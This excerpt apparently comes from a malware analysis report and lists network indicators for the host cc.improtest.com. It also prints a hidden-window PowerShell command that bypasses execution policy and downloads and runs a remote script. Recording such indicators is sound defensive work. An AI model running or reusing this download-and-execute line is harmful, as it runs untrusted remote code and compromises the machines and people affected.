Technical Information
- https://cc.improtest.com/dwn/ttps
- 'cc.###rotest.com':443
- 'cc.###rotest.com':443
- DNS ASK cc.###rotest.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://cc.improtest.com/dwn/ttps'))' (with hidden window)